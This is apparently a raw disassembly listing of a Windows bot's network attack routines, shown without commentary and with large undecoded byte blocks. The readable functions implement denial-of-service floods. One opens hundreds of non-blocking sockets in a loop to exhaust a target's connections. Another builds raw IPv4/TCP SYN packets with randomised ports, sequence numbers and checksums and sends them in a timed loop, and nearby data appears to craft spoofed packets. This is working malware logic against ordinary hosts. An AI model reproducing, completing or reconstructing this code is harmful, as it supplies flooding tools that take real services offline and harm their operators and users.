dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
dd 59FFFF7Ch, 0E8905759h, 22DCFBCh, 6AF44D8Dh, 0FF335104h
dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h
dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh
dd 0CF46E857h, 8D90022Dh, 0FFFE4885h, 15FF50FFh, 4CBA14h
dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
dd 575959FFh, 2DCEDFE8h, 106A9002h, 57E4458Dh, 83C2E850h
dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh, 4270B035h
dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E74005C6h
dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh, 0FF004CBAh
dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43792C68h
dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 0F5E89057h
dd 0FF022DCCh, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
dd 0CFE8C875h, 59FFFF78h, 71E85759h, 90022DCCh
dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+542Do
dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h, 8B004CBAh
dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh
dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
dd 0CBB2E890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h
dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
dd 4CB8ECh, 0C0753B46h, 75FFDA7Ch, 8C15FF08h, 8D004CBAh
dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
dd 59FFFF77h, 0E8905359h, 22DCAE4h
dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+5679o
dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C7E5E800h
dd 50900228h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h
dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 7068FFFFh
dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
dd 0E075FF00h, 0FF7665E8h, 565959FFh, 2DCA07E8h, 408B9002h
dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h
dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h
dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h
dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h
dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0CDC6E890h
dd 754E0226h, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h
dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah, 80F9E8h
dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh
dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
dd 575959FFh, 2DC8CFE8h
db 2, 90h
word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h
dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h
dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh
dd 0C832E856h, 5F90022Dh
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414251 proc near ; CODE XREF: ___:0041433Ap
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB9D4
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_41430F
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_41429C: ; CODE XREF: sub_414251+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142A4: ; CODE XREF: sub_414251+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4142C7
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_4142C7: ; CODE XREF: sub_414251+64j
add esi, 4
dec ebx
jnz short loc_4142A4
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142D5: ; CODE XREF: sub_414251+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB3E5Dh
add esi, 4
dec ebx
jnz short loc_4142D5
push 64h
nop
call near ptr 2680EF8h
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142F9: ; CODE XREF: sub_414251+B4j
push dword ptr [esi]
nop
call near ptr 71AB1A6Dh
add esi, 4
dec ebx
jnz short loc_4142F9
dec [ebp+arg_4]
jnz short loc_41429C
pop edi
pop esi
pop ebx
loc_41430F: ; CODE XREF: sub_414251+3Ej
xor eax, eax
leave
retn
sub_414251 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov edi, eax
call sub_41C159
push dword ptr [esp+20h]
mov ebx, eax
call sub_41C159
mov esi, eax
push esi
push ebx
push edi
call sub_414251
add esp, 18h
test eax, eax
jnz short loc_414349
push 1
pop eax
loc_414349: ; CODE XREF: ___:00414344j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: sub_401ACD+636Bo
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
dd 0FFFF72EAh, 0E8565959h, 22DC68Ch
db 90h
; ---------------------------------------------------------------------------
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143F7 proc near ; CODE XREF: ___:004146E5p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944
test eax, eax
jz short loc_414437
xor eax, eax
jmp loc_4146A5
; ---------------------------------------------------------------------------
loc_414437: ; CODE XREF: sub_4143F7+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41469D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB9B4
cmp eax, 0FFFFFFFFh
jz loc_414693
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB9D4
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB9D4
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB9D4
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB9D4
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 27B0379h
lea eax, [ebp+var_8]
push eax
call near ptr 27B011Ch
nop
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414522: ; CODE XREF: sub_4143F7+25Dj
; sub_4143F7+26Bj
mov [ebp+var_24], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4
mov [ebp+var_34], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CBA38
cmp eax, 0FFFFFFFFh
jz short loc_414667
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 27B011Ch
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414690
jl loc_414522
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414690
jmp loc_414522
; ---------------------------------------------------------------------------
loc_414667: ; CODE XREF: sub_4143F7+247j
call dword_4CB968
push eax
lea eax, [ebp+var_F4]
push offset dword_437AEC
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_414693
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: sub_4143F7+25Bj
; sub_4143F7+269j
mov ebx, [ebp+arg_8]
loc_414693: ; CODE XREF: sub_4143F7+78j
; sub_4143F7+297j
push [ebp+var_C]
call dword_4CBA6C
pop esi
loc_41469D: ; CODE XREF: sub_4143F7+5Bj
call dword_4CB92C
mov eax, ebx
loc_4146A5: ; CODE XREF: sub_4143F7+3Bj
pop edi
pop ebx
leave
retn
sub_4143F7 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov esi, eax
call sub_41C159
push dword ptr [esp+20h]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4143F7
add esp, 1Ch
test eax, eax
jnz short loc_4146F4
push 1
pop eax
loc_4146F4: ; CODE XREF: ___:004146EFj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh
dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
dd 3BE8F075h, 59FFFF6Fh, 0DDE85659h, 90022DC2h, 8B555E5Fh
dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah
dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h
dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h
dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h
dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h
dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o
dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h
dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h
dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA54h
dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch, 0FFFBC085h
dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
dd 535959FFh, 0BFF6E890h, 4D8D022Dh, 51046ACCh, 5053026Ah
dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh
dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
dd 0D7E8FFFFh, 59FFFF6Bh, 79E85359h, 90022DBFh, 0FDC4858Dh
dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh
dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
dd 9E85359h, 90022DBFh, 458D106Ah, 0E85053BCh, 73ECh, 660CC483h
dd 2BC45C7h, 15FF5300h, 4CB9D4h, 0BE458966h, 0FDC4858Dh
dd 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h, 0D04589D7h
dd 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h, 0FFFFFF4Ch
dd 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh, 9D39004Ch
dd 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h, 80DC45C6h
dd 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h, 8E6C1F0h
dd 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h, 8E6C1F0h
dd 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh, 0FFFDC0B5h
dd 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch, 0C0458BE0h
dd 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h, 401B999h
dd 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh, 66004CB9h
dd 0E8EA4589h, 7656h, 401B999h, 0F9F70000h, 0D415FF52h
dd 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh, 4589004Ch
dd 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h, 85590000h
dd 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch, 68FFFFFEh
dd 42AEE8h, 7622E850h, 85590000h, 97459C0h, 0C6F05D89h
dd 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h, 7602E850h
dd 85590000h, 257459C0h, 75D9E8h, 99036A00h, 89F9F759h
dd 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h, 0EE280D2h
dd 5588D102h, 20068F5h, 45C60000h, 15FF50F4h, 4CB9D4h
dd 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h, 66FA5D89h
dd 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h, 66004CB9h
dd 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh, 7FCBE8h
dd 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh
dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h, 858D5000h
dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h
dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0DE85359h
dd 90022DBCh, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h
dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh
dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
dd 0E8535959h, 22DBB7Ch
db 90h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_414F31
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414F23: ; CODE XREF: ___:00414F2Bj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
